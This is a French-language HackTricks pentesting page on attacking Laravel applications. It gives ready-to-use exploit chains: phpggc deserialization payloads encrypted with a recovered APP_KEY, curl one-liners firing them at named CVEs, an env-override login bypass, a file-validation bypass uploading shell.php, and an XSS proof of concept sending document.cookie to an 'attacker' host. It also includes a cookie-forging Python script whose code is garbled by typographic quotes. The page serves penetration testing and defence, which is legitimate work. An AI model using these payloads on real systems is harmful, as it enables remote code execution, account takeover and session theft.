Laravel

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Laravel SQLInjection

Lire des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & internes du chiffrement (Laravel >=5.6)

Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en interne (Illuminate\Encryption\Encrypter). Le ciphertext brut qui est finalement envoyé au client est le Base64 d’un objet JSON comme :

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) va serialize() le plaintext par défaut, tandis que decrypt($payload, $unserialize=true) va automatiquement unserialize() la valeur déchiffrée. Par conséquent, tout attaquant qui connaît le secret de 32 octets APP_KEY peut fabriquer un objet PHP sérialisé chiffré et obtenir une RCE via les méthodes magiques (__wakeup, __destruct, …).

PoC minimal (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injectez la chaîne produite dans n’importe quel sink decrypt() vulnérable (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatise l’ensemble du processus et ajoute un mode bruteforce pratique :

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Le script prend en charge de manière transparente les payloads CBC et GCM et régénère le champ HMAC/tag.


Schémas vulnérables réels

ProjectVulnerable sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

La procédure d’exploitation est toujours la suivante :

  1. Obtenir ou brute-force la APP_KEY de 32 octets.
  2. Créer une gadget chain avec PHPGGC (par exemple Laravel/RCE13, Laravel/RCE9 ou Laravel/RCE15).
  3. Chiffrer le gadget sérialisé avec laravel_crypto_killer.py et la APP_KEY récupérée.
  4. Envoyer le ciphertext au decrypt() sink vulnérable (route parameter, cookie, session …) pour déclencher RCE.

Ci-dessous des one-liners concis démontrant le chemin d’attaque complet pour chaque CVE réel mentionné ci-dessus:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN et généralement laravel_session), les scanners publics Internet (Shodan, Censys, …) leak des millions de ciphertexts qui peuvent être attaqués hors ligne.

Principaux constats de la recherche publiée par Synacktiv (2024-2025) :

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 serveurs encore vulnérables au legacy CVE-2018-15133 parce que les tokens contiennent directement des données sérialisées.

  • Réutilisation massive de clés – les Top-10 APP_KEYs sont des valeurs par défaut codées en dur livrées avec des templates commerciaux Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

L’outil Go privé nounours pousse le débit de bruteforce AES-CBC/GCM à ~1.5 billion tries/s, réduisant le craquage de l’ensemble du dataset à <2 minutes.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Quand register_argc_argv=On de PHP (typique sur beaucoup de distros), PHP expose un tableau argv pour les requêtes HTTP dérivé de la query string. Les versions récentes de Laravel parseaient ces args “CLI-like” et prenaient en compte --env=<value> à l’exécution. Cela permet de basculer l’environnement du framework pour la requête HTTP courante simplement en l’ajoutant à n’importe quelle URL :

  • Quick check:

  • Visitez https://target/?--env=local ou n’importe quelle chaîne et cherchez des changements dépendants de l’environnement (bannières debug, footers, erreurs verbeuses). Si la chaîne est reflétée, l’override fonctionne.

  • Impact example (business logic trusting a special env):

  • Si l’app contient des branches comme if (app()->environment('preprod')) { /* bypass auth */ }, vous pouvez vous authentifier sans identifiants valides en envoyant le POST de login à :

  • POST /login?--env=preprod

  • Notes:

  • Works per-request, no persistence.

  • Nécessite register_argc_argv=On et une version vulnérable de Laravel qui lit argv pour HTTP.

  • Primitive utile pour faire remonter des erreurs plus verbeuses dans les envs “debug” ou pour déclencher des chemins de code conditionnés par l’environnement.

  • Mitigations:

  • Désactiver register_argc_argv pour PHP-FPM/Apache.

  • Mettre à jour Laravel pour ignorer argv sur les requêtes HTTP et supprimer toute hypothèse de confiance liée à app()->environment() dans les routes de production.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Contournement de la validation des fichiers par wildcard (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 et 12.0.0–12.1.0 permettent à des requêtes multipart malicieuses d’ignorer complètement toute règle attachée à files.* / images.*. Le parseur qui étend les clés wildcard peut être confus par des placeholders contrôlés par l’attaquant (par exemple, en pré-remplissant des segments __asterisk__), de sorte que le framework hydratrait des objets UploadedFile sans jamais exécuter image, mimes, dimensions, max, etc. Une fois qu’un blob malveillant atterrit dans Storage::putFile*, vous pouvez pivoter vers n’importe lequel des primitives d’upload de fichiers déjà listées dans HackTricks (web shells, log poisoning, signed job deserialization, …).

Hunting for the pattern

  • Static: rg -n "files\\.\*" -g"*.php" app/ ou inspecter les classes FormRequest pour des rules() retournant des tableaux contenant files.*.
  • Dynamic: hook Illuminate\Validation\Validator::validate() via Xdebug ou Laravel Telescope en pré-production pour logger chaque requête qui frappe la règle vulnérable.
  • Middleware/route review: les endpoints traitant plusieurs fichiers (importeurs d’avatar, portails de documents, composants drag-n-drop) ont tendance à faire confiance à files.*.

Practical exploitation workflow

  1. Capturez un upload légitime et rejouez-le dans Burp Repeater.
  2. Dupliquez la même partie mais modifiez le nom du champ pour qu’il contienne déjà des tokens placeholder (par ex., files[0][__asterisk__payload]) ou imbriquez un autre tableau (files[0][alt][0]). Sur les builds vulnérables, cette seconde partie n’est jamais validée mais devient tout de même une entrée UploadedFile.
  3. Pointez le fichier forgé vers une payload PHP (shell.php, .phar, polyglot) et forcez l’application à le stocker dans un disque accessible via le web (généralement public/ une fois php artisan storage:link activé).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Vulns de packages de l’écosystème worth chaining (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

Si le projet utilise Auth0 pour la connexion avec le backend CookieStore par défaut et auth0/auth0-php < 8.14.0, le GCM tag sur le cookie de session auth0 est suffisamment court pour être brute-forcé hors ligne. Capturez un cookie, modifiez le payload JSON (par ex., définissez "sub":"auth0|admin" et app_metadata.roles), brute-forcez le tag, puis rejouez-le pour obtenir une session Laravel guard valide. Vérifications rapides : composer.lock montre auth0/auth0-php <8.14.0 et .env contient AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

Le package lomkit/laravel-rest-api avant 2.13.0 fusionne incorrectement les règles par action : les définitions ultérieures écrasent les précédentes pour le même attribut, permettant à des champs fabriqués de sauter la validation (par ex., écraser les règles filter lors d’une action update), conduisant à du mass assignment ou à des filtres de type SQL non validés. Vérifications pratiques :

  • composer.lock liste lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== est accepté au lieu d’être rejeté, montrant que la validation des filtres a été contournée.

Astuces Laravel

Mode débogage

Si Laravel est en mode débogage vous pourrez accéder au code et aux données sensibles.
Par exemple http://127.0.0.1:8000/profiles :

Ceci est généralement nécessaire pour exploiter d’autres CVE RCE affectant Laravel.

CVE-2024-13918 / CVE-2024-13919 – XSS réfléchi dans les pages de debug Whoops

  • Affecté : Laravel 11.9.0–11.35.1 avec APP_DEBUG=true (soit globalement, soit forcé via des overrides d’env mal configurées comme CVE-2024-52301).
  • Principe : chaque exception non interceptée rendue par Whoops répercute des parties de la requête/route sans encodage HTML, donc injecter <img src> / <script> dans une route ou un paramètre de requête provoque un XSS stocké dans la réponse avant authentification.
  • Impact : voler XSRF-TOKEN, leak des stack traces contenant des secrets, ouvrir un pivot côté navigateur pour frapper _ignition/execute-solution dans les sessions des victimes, ou enchaîner avec des dashboards sans mot de passe qui reposent sur les cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Même si le mode debug est normalement désactivé, forcer une erreur via des tâches en arrière-plan ou des queue workers et sonder l’endpoint _ignition/health-check révèle souvent des hôtes de staging qui exposent encore cette chaîne.

Empreinte et endpoints dev exposés

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

  • /_ignition/health-check → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
  • /_debugbar → Laravel Debugbar assets; often indicates debug mode.
  • /telescope → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
  • /horizon → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel enregistre l’APP qu’il utilise pour chiffrer les cookies et autres identifiants dans un fichier appelé .env qui peut être accédé via un path traversal sous : /../.env

Laravel affiche aussi ces informations sur la page de debug (qui apparaît lorsque Laravel rencontre une erreur et que le mode debug est activé).

En utilisant l’APP_KEY secrète de Laravel, vous pouvez déchiffrer et rechiffrer les cookies :

Outil pour déchiffrer/chiffrer les cookies (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Versions vulnérables: 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Vous pouvez trouver des informations sur la deserialization ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Vous pouvez le tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ou vous pouvez aussi l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Une autre deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Références
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>